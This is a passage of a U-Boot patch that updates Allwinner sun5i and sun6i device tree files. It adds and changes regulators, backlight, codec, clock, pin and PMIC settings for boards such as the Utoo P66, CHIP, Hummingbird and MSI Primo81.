+-		compatible = "mmc-card";
+-		broken-hpi;
+-	};
+-};
+-
+ &otg_sram {
+ 	status = "okay";
+ };
+ 
+ &pio {
+-	mmc0_cd_pin_inet98fv2: mmc0_cd_pin at 0 {
++	mmc0_cd_pin_d709: mmc0_cd_pin at 0 {
+ 		allwinner,pins = "PG0";
+ 		allwinner,function = "gpio_in";
+ 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
+--- a/arch/arm/dts/sun5i-a13-inet-98v-rev2.dts
++++ b/arch/arm/dts/sun5i-a13-inet-98v-rev2.dts
+@@ -123,21 +123,6 @@
+ 	status = "okay";
+ };
+ 
+-&mmc2 {
+-	pinctrl-names = "default";
+-	pinctrl-0 = <&mmc2_pins_a>;
+-	vmmc-supply = <&reg_vcc3v3>;
+-	bus-width = <8>;
+-	non-removable;
+-	status = "okay";
+-
+-	mmccard: mmccard at 0 {
+-		reg = <0>;
+-		compatible = "mmc-card";
+-		broken-hpi;
+-	};
+-};
+-
+ &otg_sram {
+ 	status = "okay";
+ };
+@@ -201,11 +186,6 @@
+ 	status = "okay";
+ };
+ 
+-&reg_usb1_vbus {
+-	gpio = <&pio 6 11 GPIO_ACTIVE_HIGH>; /* PG11 */
+-	status = "okay";
+-};
+-
+ &uart1 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&uart1_pins_b>;
+@@ -221,16 +201,12 @@
+ 	allwinner,pins = "PG12";
+ };
+ 
+-&usb1_vbus_pin_a {
+-	allwinner,pins = "PG11";
+-};
+-
+ &usbphy {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&usb0_id_detect_pin>, <&usb0_vbus_detect_pin>;
+ 	usb0_id_det-gpio = <&pio 6 2 GPIO_ACTIVE_HIGH>; /* PG2 */
+ 	usb0_vbus_det-gpio = <&pio 6 1 GPIO_ACTIVE_HIGH>; /* PG1 */
+ 	usb0_vbus-supply = <&reg_usb0_vbus>;
+-	usb1_vbus-supply = <&reg_usb1_vbus>;
++	usb1_vbus-supply = <&reg_ldo3>;
+ 	status = "okay";
+ };
+--- a/arch/arm/dts/sun5i-a13-utoo-p66.dts
++++ b/arch/arm/dts/sun5i-a13-utoo-p66.dts
+@@ -47,11 +47,21 @@
+ #include <dt-bindings/input/input.h>
+ #include <dt-bindings/interrupt-controller/irq.h>
+ #include <dt-bindings/pinctrl/sun4i-a10.h>
++#include <dt-bindings/pwm/pwm.h>
+ 
+ / {
+ 	model = "Utoo P66";
+ 	compatible = "utoo,p66", "allwinner,sun5i-a13";
+ 
++	backlight: backlight {
++		compatible = "pwm-backlight";
++		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
++		/* Note levels of 10 / 20% result in backlight off */
++		brightness-levels = <0 30 40 50 60 70 80 90 100>;
++		default-brightness-level = <6>;
++		/* TODO: backlight uses axp gpio1 as enable pin */
++	};
++
+ 	i2c_lcd: i2c at 0 {
+ 		/* The lcd panel i2c interface is hooked up via gpios */
+ 		compatible = "i2c-gpio";
+@@ -63,6 +73,13 @@
+ 	};
+ };
+ 
++&codec {
++	pinctrl-names = "default";
++	pinctrl-0 = <&codec_pa_pin>;
++	allwinner,pa-gpios = <&pio 6 3 GPIO_ACTIVE_HIGH>; /* PG3 */
++	status = "okay";
++};
++
+ &cpu0 {
+ 	cpu-supply = <&reg_dcdc2>;
+ };
+@@ -158,6 +175,13 @@
+ };
+ 
+ &pio {
++	codec_pa_pin: codec_pa_pin at 0 {
++		allwinner,pins = "PG3";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
+ 	mmc0_cd_pin_p66: mmc0_cd_pin at 0 {
+ 		allwinner,pins = "PG0";
+ 		allwinner,function = "gpio_in";
+@@ -201,6 +225,12 @@
+ 	};
+ };
+ 
++&pwm {
++	pinctrl-names = "default";
++	pinctrl-0 = <&pwm0_pins>;
++	status = "okay";
++};
++
+ &reg_dcdc2 {
+ 	regulator-always-on;
+ 	regulator-min-microvolt = <1000000>;
+--- a/arch/arm/dts/sun5i-q8-common.dtsi
++++ b/arch/arm/dts/sun5i-q8-common.dtsi
+@@ -41,11 +41,21 @@
+  */
+ #include "sunxi-q8-common.dtsi"
+ 
++#include <dt-bindings/pwm/pwm.h>
++
+ / {
+ 	aliases {
+ 		serial0 = &uart1;
+ 	};
+ 
++	backlight: backlight {
++		compatible = "pwm-backlight";
++		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
++		brightness-levels = <0 10 20 30 40 50 60 70 80 90 100>;
++		default-brightness-level = <8>;
++		/* TODO: backlight uses axp gpio1 as enable pin */
++	};
++
+ 	chosen {
+ 		stdout-path = "serial0:115200n8";
+ 	};
+--- a/arch/arm/dts/sun5i-r8-chip.dts
++++ b/arch/arm/dts/sun5i-r8-chip.dts
+@@ -64,6 +64,26 @@
+ 	chosen {
+ 		stdout-path = "serial0:115200n8";
+ 	};
++
++	wifi_reg_on: wifi_reg_on {
++		compatible = "regulator-fixed";
++		pinctrl-names = "default";
++		pinctrl-0 = <&chip_wifi_reg_on_pin>;
++
++		regulator-name = "wifi-reg-on";
++		regulator-min-microvolt = <3300000>;
++		regulator-max-microvolt = <3300000>;
++		gpio = <&pio 2 19 GPIO_ACTIVE_HIGH>; /* PC19 */
++		enable-active-high;
++	};
++};
++
++&codec {
++	status = "okay";
++};
++
++&cpu0 {
++	cpu-supply = <&reg_dcdc2>;
+ };
+ 
+ &ehci0 {
+@@ -109,10 +129,14 @@
+ 	};
+ };
+ 
++&mmc0_pins_a {
++	allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++};
++
+ &mmc0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&mmc0_pins_a>;
+-	vmmc-supply = <&reg_vcc3v3>;
++	vmmc-supply = <&wifi_reg_on>;
+ 	bus-width = <4>;
+ 	non-removable;
+ 	status = "okay";
+@@ -134,6 +158,13 @@
+ 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 	};
+ 
++	chip_wifi_reg_on_pin: chip_wifi_reg_on_pin at 0 {
++		allwinner,pins = "PC19";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
+ 	chip_id_det_pin: chip_id_det_pin at 0 {
+ 		allwinner,pins = "PG2";
+ 		allwinner,function = "gpio_in";
+@@ -167,6 +198,20 @@
+ 	regulator-always-on;
+ };
+ 
++&reg_ldo3 {
++	regulator-min-microvolt = <3300000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "vdd-wifi1";
++	regulator-always-on;
++};
++
++&reg_ldo4 {
++	regulator-min-microvolt = <3300000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "vdd-wifi2";
++	regulator-always-on;
++};
++
+ &reg_ldo5 {
+ 	regulator-min-microvolt = <1800000>;
+ 	regulator-max-microvolt = <1800000>;
+--- a/arch/arm/dts/sun5i.dtsi
++++ b/arch/arm/dts/sun5i.dtsi
+@@ -44,6 +44,7 @@
+ 
+ #include "skeleton.dtsi"
+ 
++#include <dt-bindings/clock/sun4i-a10-pll2.h>
+ #include <dt-bindings/dma/sun4i-a10.h>
+ #include <dt-bindings/pinctrl/sun4i-a10.h>
+ 
+@@ -102,6 +103,15 @@
+ 			clock-output-names = "pll1";
+ 		};
+ 
++		pll2: clk at 01c20008 {
++			#clock-cells = <1>;
++			compatible = "allwinner,sun5i-a13-pll2-clk";
++			reg = <0x01c20008 0x8>;
++			clocks = <&osc24M>;
++			clock-output-names = "pll2-1x", "pll2-2x",
++					     "pll2-4x", "pll2-8x";
++		};
++
+ 		pll4: clk at 01c20018 {
+ 			#clock-cells = <0>;
+ 			compatible = "allwinner,sun4i-a10-pll1-clk";
+@@ -285,6 +295,14 @@
+ 			clock-output-names = "usb_ohci0", "usb_phy";
+ 		};
+ 
++		codec_clk: clk at 01c20140 {
++			#clock-cells = <0>;
++			compatible = "allwinner,sun4i-a10-codec-clk";
++			reg = <0x01c20140 0x4>;
++			clocks = <&pll2 SUN4I_A10_PLL2_1X>;
++			clock-output-names = "codec";
++		};
++
+ 		mbus_clk: clk at 01c2015c {
+ 			#clock-cells = <0>;
+ 			compatible = "allwinner,sun5i-a13-mbus-clk";
+@@ -571,6 +589,19 @@
+ 			status = "disabled";
+ 		};
+ 
++		codec: codec at 01c22c00 {
++			#sound-dai-cells = <0>;
++			compatible = "allwinner,sun4i-a10-codec";
++			reg = <0x01c22c00 0x40>;
++			interrupts = <30>;
++			clocks = <&apb0_gates 0>, <&codec_clk>;
++			clock-names = "apb", "codec";
++			dmas = <&dma SUN4I_DMA_NORMAL 19>,
++			       <&dma SUN4I_DMA_NORMAL 19>;
++			dma-names = "rx", "tx";
++			status = "disabled";
++		};
++
+ 		sid: eeprom at 01c23800 {
+ 			compatible = "allwinner,sun4i-a10-sid";
+ 			reg = <0x01c23800 0x10>;
+--- a/arch/arm/dts/sun6i-a31-colombus.dts
++++ b/arch/arm/dts/sun6i-a31-colombus.dts
+@@ -60,6 +60,16 @@
+ 	chosen {
+ 		stdout-path = "serial0:115200n8";
+ 	};
++
++	i2c_lcd: i2c at 0 {
++		/* The lcd panel i2c interface is hooked up via gpios */
++		compatible = "i2c-gpio";
++		pinctrl-names = "default";
++		pinctrl-0 = <&i2c_lcd_pins>;
++		gpios = <&pio 0 23 GPIO_ACTIVE_HIGH>, /* PA23, sda */
++			<&pio 0 24 GPIO_ACTIVE_HIGH>; /* PA24, scl */
++		i2c-gpio,delay-us = <5>;
++	};
+ };
+ 
+ &ehci1 {
+@@ -94,6 +104,13 @@
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&i2c2_pins_a>;
+ 	status = "okay";
++
++	mma8452: mma8452 at 1d {
++		compatible = "fsl,mma8452";
++		reg = <0x1d>;
++		interrupt-parent = <&pio>;
++		interrupts = <0 9 IRQ_TYPE_LEVEL_LOW>; /* PA9 */
++	};
+ };
+ 
+ &mmc0 {
+@@ -124,6 +141,13 @@
+ 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
+ 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 	};
++
++	i2c_lcd_pins: i2c_lcd_pin at 0 {
++		allwinner,pins = "PA23", "PA24";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
+ };
+ 
+ &reg_usb2_vbus {
+--- a/arch/arm/dts/sun6i-a31-hummingbird.dts
++++ b/arch/arm/dts/sun6i-a31-hummingbird.dts
+@@ -54,6 +54,8 @@
+ 	compatible = "merrii,a31-hummingbird", "allwinner,sun6i-a31";
+ 
+ 	aliases {
++		rtc0 = &pcf8563;
++		rtc1 = &rtc;
+ 		serial0 = &uart0;
+ 	};
+ 
+@@ -67,13 +69,17 @@
+ 	};
+ };
+ 
++&cpu0 {
++	cpu-supply = <&reg_dcdc3>;
++};
++
+ &ehci0 {
+ 	status = "okay";
+ };
+ 
+ &gmac {
+ 	pinctrl-names = "default";
+-	pinctrl-0 = <&gmac_pins_rgmii_a>;
++	pinctrl-0 = <&gmac_pins_rgmii_a>, <&gmac_phy_reset_pin_hummingbird>;
+ 	phy = <&phy1>;
+ 	phy-mode = "rgmii";
+ 	snps,reset-gpio = <&pio 0 21 GPIO_ACTIVE_HIGH>;
+@@ -119,7 +125,7 @@
+ &mmc0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_hummingbird>;
+-	vmmc-supply = <&vcc_3v0>;
++	vmmc-supply = <&reg_dcdc1>;
+ 	bus-width = <4>;
+ 	cd-gpios = <&pio 0 8 GPIO_ACTIVE_HIGH>; /* PA8 */
+ 	cd-inverted;
+@@ -134,7 +140,7 @@
+ &mmc1 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&mmc1_pins_a>, <&wifi_reset_pin_hummingbird>;
+-	vmmc-supply = <&vcc_wifi>;
++	vmmc-supply = <&reg_aldo1>;
+ 	mmc-pwrseq = <&wifi_pwrseq>;
+ 	bus-width = <4>;
+ 	non-removable;
+@@ -146,6 +152,13 @@
+ };
+ 
+ &pio {
++	gmac_phy_reset_pin_hummingbird: gmac_phy_reset_pin at 0 {
++		allwinner,pins = "PA21";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
+ 	mmc0_cd_pin_hummingbird: mmc0_cd_pin at 0 {
+ 		allwinner,pins = "PA8";
+ 		allwinner,function = "gpio_in";
+@@ -164,70 +177,69 @@
+ &p2wi {
+ 	status = "okay";
+ 
+-	axp221: pmic at 68 {
++	axp22x: pmic at 68 {
+ 		compatible = "x-powers,axp221";
+ 		reg = <0x68>;
+ 		interrupt-parent = <&nmi_intc>;
+ 		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
+-		interrupt-controller;
+-		#interrupt-cells = <1>;
+-		dcdc1-supply = <&vcc_3v0>;
+-		dcdc5-supply = <&vcc_dram>;
+-
+-		regulators {
+-			x-powers,dcdc-freq = <3000>;
+-
+-			vcc_3v0: dcdc1 {
+-				regulator-always-on;
+-				regulator-min-microvolt = <3000000>;
+-				regulator-max-microvolt = <3000000>;
+-				regulator-name = "vcc-3v0";
+-			};
+-
+-			vdd_cpu: dcdc2 {
+-				regulator-always-on;
+-				regulator-min-microvolt = <700000>;
+-				regulator-max-microvolt = <1320000>;
+-				regulator-name = "vdd-cpu";
+-			};
+-
+-			vdd_gpu: dcdc3 {
+-				regulator-always-on;
+-				regulator-min-microvolt = <700000>;
+-				regulator-max-microvolt = <1320000>;
+-				regulator-name = "vdd-gpu";
+-			};
+-
+-			vdd_sys_dll: dcdc4 {
+-				regulator-always-on;
+-				regulator-min-microvolt = <1100000>;
+-				regulator-max-microvolt = <1100000>;
+-				regulator-name = "vdd-sys-dll";
+-			};
+-
+-			vcc_dram: dcdc5 {
+-				regulator-always-on;
+-				regulator-min-microvolt = <1500000>;
+-				regulator-max-microvolt = <1500000>;
+-				regulator-name = "vcc-dram";
+-			};
+-
+-			vcc_wifi: aldo1 {
+-				regulator-min-microvolt = <3300000>;
+-				regulator-max-microvolt = <3300000>;
+-				regulator-name = "vcc_wifi";
+-			};
+-
+-			avcc: aldo3 {
+-				regulator-always-on;
+-				regulator-min-microvolt = <3000000>;
+-				regulator-max-microvolt = <3000000>;
+-				regulator-name = "avcc";
+-			};
+-		};
+ 	};
+ };
+ 
++#include "axp22x.dtsi"
++
++&reg_aldo1 {
++	regulator-min-microvolt = <3300000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "vcc-wifi";
++};
++
++&reg_aldo3 {
++	regulator-always-on;
++	regulator-min-microvolt = <2700000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "avcc";
++};
++
++&reg_dc5ldo {
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-cpus";
++};
++
++&reg_dcdc1 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "vcc-3v0";
++};
++
++&reg_dcdc2 {
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-gpu";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc4 {
++	regulator-always-on;
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-sys-dll";
++};
++
++&reg_dcdc5 {
++	regulator-always-on;
++	regulator-min-microvolt = <1500000>;
++	regulator-max-microvolt = <1500000>;
++	regulator-name = "vcc-dram";
++};
++
+ &reg_usb1_vbus {
+ 	gpio = <&pio 7 24 GPIO_ACTIVE_HIGH>; /* PH24 */
+ 	status = "okay";
+--- a/arch/arm/dts/sun6i-a31.dtsi
++++ b/arch/arm/dts/sun6i-a31.dtsi
+@@ -61,7 +61,7 @@
+ 		#size-cells = <1>;
+ 		ranges;
+ 
+-		framebuffer at 0 {
++		simplefb_hdmi: framebuffer at 0 {
+ 			compatible = "allwinner,simple-framebuffer",
+ 				     "simple-framebuffer";
+ 			allwinner,pipeline = "de_be0-lcd0-hdmi";
+@@ -69,7 +69,7 @@
+ 			status = "disabled";
+ 		};
+ 
+-		framebuffer at 1 {
++		simplefb_lcd: framebuffer at 1 {
+ 			compatible = "allwinner,simple-framebuffer",
+ 				     "simple-framebuffer";
+ 			allwinner,pipeline = "de_be0-lcd0";
+@@ -252,6 +252,20 @@
+ 			compatible = "allwinner,sun6i-a31-ahb1-gates-clk";
+ 			reg = <0x01c20060 0x8>;
+ 			clocks = <&ahb1>;
++			clock-indices = <1>, <5>,
++					<6>, <8>, <9>,
++					<10>, <11>, <12>,
++					<13>, <14>,
++					<17>, <18>, <19>,
++					<20>, <21>, <22>,
++					<23>, <24>, <26>,
++					<27>, <29>,
++					<30>, <31>, <32>,
++					<36>, <37>, <40>,
++					<43>, <44>, <45>,
++					<46>, <47>, <50>,
++					<52>, <55>, <56>,
++					<57>, <58>;
+ 			clock-output-names = "ahb1_mipidsi", "ahb1_ss",
+ 					"ahb1_dma", "ahb1_mmc0", "ahb1_mmc1",
+ 					"ahb1_mmc2", "ahb1_mmc3", "ahb1_nand1",
+@@ -281,6 +295,9 @@
+ 			compatible = "allwinner,sun6i-a31-apb1-gates-clk";
+ 			reg = <0x01c20068 0x4>;
+ 			clocks = <&apb1>;
++			clock-indices = <0>, <4>,
++					<5>, <12>,
++					<13>;
+ 			clock-output-names = "apb1_codec", "apb1_digital_mic",
+ 					"apb1_pio", "apb1_daudio0",
+ 					"apb1_daudio1";
+@@ -299,6 +316,10 @@
+ 			compatible = "allwinner,sun6i-a31-apb2-gates-clk";
+ 			reg = <0x01c2006c 0x4>;
+ 			clocks = <&apb2>;
++			clock-indices = <0>, <1>,
++					<2>, <3>, <16>,
++					<17>, <18>, <19>,
++					<20>, <21>;
+ 			clock-output-names = "apb2_i2c0", "apb2_i2c1",
+ 					     "apb2_i2c2", "apb2_i2c3",
+ 					     "apb2_uart0", "apb2_uart1",
+@@ -346,6 +367,14 @@
+ 					     "mmc3_sample";
+ 		};
+ 
++		ss_clk: clk at 01c2009c {
++			#clock-cells = <0>;
++			compatible = "allwinner,sun4i-a10-mod0-clk";
++			reg = <0x01c2009c 0x4>;
++			clocks = <&osc24M>, <&pll6 0>;
++			clock-output-names = "ss";
++		};
++
+ 		spi0_clk: clk at 01c200a0 {
+ 			#clock-cells = <0>;
+ 			compatible = "allwinner,sun4i-a10-mod0-clk";
+@@ -384,6 +413,9 @@
+ 			compatible = "allwinner,sun6i-a31-usb-clk";
+ 			reg = <0x01c200cc 0x4>;
+ 			clocks = <&osc24M>;
++			clock-indices = <8>, <9>, <10>,
++					<16>, <17>,
++					<18>;
+ 			clock-output-names = "usb_phy0", "usb_phy1", "usb_phy2",
+ 					     "usb_ohci0", "usb_ohci1",
+ 					     "usb_ohci2";
+@@ -684,6 +716,16 @@
+ 				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 			};
+ 
++			mmc3_8bit_emmc_pins: mmc3 at 1 {
++				allwinner,pins = "PC6", "PC7", "PC8", "PC9",
++						 "PC10", "PC11", "PC12",
++						 "PC13", "PC14", "PC15",
++						 "PC24";
++				allwinner,function = "mmc3";
++				allwinner,drive = <SUN4I_PINCTRL_40_MA>;
++				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++			};
++
+ 			gmac_pins_mii_a: gmac_mii at 0 {
+ 				allwinner,pins = "PA0", "PA1", "PA2", "PA3",
+ 						"PA8", "PA9", "PA11",
+@@ -761,6 +803,13 @@
+ 			reg = <0x01c20ca0 0x20>;
+ 		};
+ 
++		lradc: lradc at 01c22800 {
++			compatible = "allwinner,sun4i-a10-lradc-keys";
++			reg = <0x01c22800 0x100>;
++			interrupts = <GIC_SPI 30 IRQ_TYPE_LEVEL_HIGH>;
++			status = "disabled";
++		};
++
+ 		rtp: rtp at 01c25000 {
+ 			compatible = "allwinner,sun6i-a31-ts";
+ 			reg = <0x01c25000 0x100>;
+@@ -907,6 +956,16 @@
+ 			#size-cells = <0>;
+ 		};
+ 
++		crypto: crypto-engine at 01c15000 {
++			compatible = "allwinner,sun4i-a10-crypto";
++			reg = <0x01c15000 0x1000>;
++			interrupts = <GIC_SPI 80 IRQ_TYPE_LEVEL_HIGH>;
++			clocks = <&ahb1_gates 5>, <&ss_clk>;
++			clock-names = "ahb", "mod";
++			resets = <&ahb1_rst 5>;
++			reset-names = "ahb";
++		};
++
+ 		timer at 01c60000 {
+ 			compatible = "allwinner,sun6i-a31-hstimer",
+ 				     "allwinner,sun7i-a20-hstimer";
+@@ -1068,7 +1127,7 @@
+ 			resets = <&apb0_rst 0>;
+ 			gpio-controller;
+ 			interrupt-controller;
+-			#interrupt-cells = <2>;
++			#interrupt-cells = <3>;
+ 			#size-cells = <0>;
+ 			#gpio-cells = <3>;
+ 
+--- a/arch/arm/dts/sun6i-a31s-primo81.dts
++++ b/arch/arm/dts/sun6i-a31s-primo81.dts
+@@ -1,16 +1,57 @@
+ /*
+- * Copyright 2015 Hans de Goede <hdegoede at redhat.com>
++ * Copyright 2014 Siarhei Siamashka <siarhei.siamashka at gmail.com>
++ * Copyright 2015 Karsten Merker <merker at debian.org>
++ * Copyright 2015 Chen-Yu Tsai <wens at csie.org>
+  *
+- * Minimal dts file for the MSI Primo81 for u-boot only
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
+  *
+- * SPDX-License-Identifier:     GPL-2.0+ or X11
++ *  a) This file is free software; you can redistribute it and/or
++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
+  */
+ 
+ /dts-v1/;
+ #include "sun6i-a31s.dtsi"
++#include "sunxi-common-regulators.dtsi"
++
++#include <dt-bindings/gpio/gpio.h>
++#include <dt-bindings/input/input.h>
++#include <dt-bindings/pinctrl/sun4i-a10.h>
+ 
+ / {
+-	model = "MSI Primo81";
++	model = "MSI Primo81 tablet";
+ 	compatible = "msi,primo81", "allwinner,sun6i-a31s";
+ 
+ 	aliases {
+@@ -22,8 +63,202 @@
+ 	};
+ };
+ 
+-&uart0 {
++&cpu0 {
++	cpu-supply = <&reg_dcdc3>;
++};
++
++&ehci0 {
++	/* rtl8188etv wifi is connected here */
++	status = "okay";
++};
++
++&i2c0 {
++	/* pull-ups and device VDDIO use AXP221 DLDO3 */
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c0_pins_a>;
++	status = "failed";
++};
++
++&i2c1 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c1_pins_a>;
++	status = "okay";
++
++	ctp at 5d {
++		pinctrl-names = "default";
++		pinctrl-0 = <&gt911_int_primo81>;
++		compatible = "goodix,gt911";
++		reg = <0x5d>;
++		interrupt-parent = <&pio>;
++		interrupts = <0 3 IRQ_TYPE_LEVEL_HIGH>; /* PA3 */
++		touchscreen-swapped-x-y;
++	};
++};
++
++&i2c2 {
+ 	pinctrl-names = "default";
+-	pinctrl-0 = <&uart0_pins_a>;
++	pinctrl-0 = <&i2c2_pins_a>;
++	status = "okay";
++
++	accelerometer at 1c {
++		pinctrl-names = "default";
++		pinctrl-0 = <&mma8452_int_primo81>;
++		compatible = "fsl,mma8452";
++		reg = <0x1c>;
++		interrupt-parent = <&pio>;
++		interrupts = <0 9 IRQ_TYPE_LEVEL_HIGH>; /* PA9 */
++		#io-channel-cells = <1>;
++	};
++};
++
++&lradc {
++	vref-supply = <&reg_aldo3>;
++	status = "okay";
++
++	button at 158 {
++		label = "Volume Up";
++		linux,code = <KEY_VOLUMEUP>;
++		channel = <0>;
++		voltage = <158730>;
++	};
++
++	button at 349 {
++		label = "Volume Down";
++		linux,code = <KEY_VOLUMEDOWN>;
++		channel = <0>;
++		voltage = <349206>;
++	};
++};
++
++&mmc0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_primo81>;
++	vmmc-supply = <&reg_dcdc1>;
++	bus-width = <4>;
++	cd-gpios = <&pio 0 8 GPIO_ACTIVE_HIGH>; /* PA8 */
++	cd-inverted;
++	status = "okay";
++};
++
++&pio {
++	gt911_int_primo81: gt911_int_pin at 0 {
++		allwinner,pins = "PA3";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	mma8452_int_primo81: mma8452_int_pin at 0 {
++		allwinner,pins = "PA9";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++
++	mmc0_cd_pin_primo81: mmc0_cd_pin at 0 {
++		allwinner,pins = "PA8";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++};
++
++&p2wi {
++	status = "okay";
++
++	axp22x: pmic at 68 {
++		compatible = "x-powers,axp221";
++		reg = <0x68>;
++		interrupt-parent = <&nmi_intc>;
++		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
++	};
++};
++
++#include "axp22x.dtsi"
++
++&reg_aldo3 {
++	regulator-always-on;
++	regulator-min-microvolt = <2700000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "avcc";
++};
++
++&reg_dc1sw {
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "vcc-lcd";
++};
++
++&reg_dc5ldo {
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-cpus"; /* This is an educated guess */
++};
++
++&reg_dcdc1 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "vcc-3v0";
++};
++
++&reg_dcdc2 {
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-gpu";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc4 {
++	regulator-always-on;
++	regulator-min-microvolt = <700000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-sys-dll";
++};
++
++&reg_dcdc5 {
++	regulator-always-on;
++	regulator-min-microvolt = <1500000>;
++	regulator-max-microvolt = <1500000>;
++	regulator-name = "vcc-dram";
++};
++
++&reg_dldo1 {
++	regulator-min-microvolt = <3300000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "vcc-wifi";
++};
++
++&reg_dldo3 {
++	regulator-min-microvolt = <2800000>;
++	regulator-max-microvolt = <2800000>;
++	regulator-name = "vddio-csi";
++};
++
++&reg_eldo3 {
++	regulator-min-microvolt = <1080000>;
++	regulator-max-microvolt = <1320000>;
++	regulator-name = "vdd-mipi-bridge";
++};
++
++&simplefb_lcd {
++	vcc-lcd-supply = <&reg_dc1sw>;
++	vdd-mipi-bridge-supply = <&reg_eldo3>;
++};
++
++&usb_otg {
++	/* otg support requires support for AXP221 usb-power-supply and GPIO */
++	dr_mode = "host";
++	status = "okay";
++};
++
++&usbphy {
++	usb1_vbus-supply = <&reg_dldo1>;
+ 	status = "okay";
+ };
+--- /dev/null
++++ b/arch/arm/dts/sun6i-a31s-sina31s-core.dtsi
+@@ -0,0 +1,142 @@
++/*
++ * Copyright 2015 Chen-Yu Tsai <wens at csie.org>
++ *
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
++ *
++ *  a) This file is free software; you can redistribute it and/or
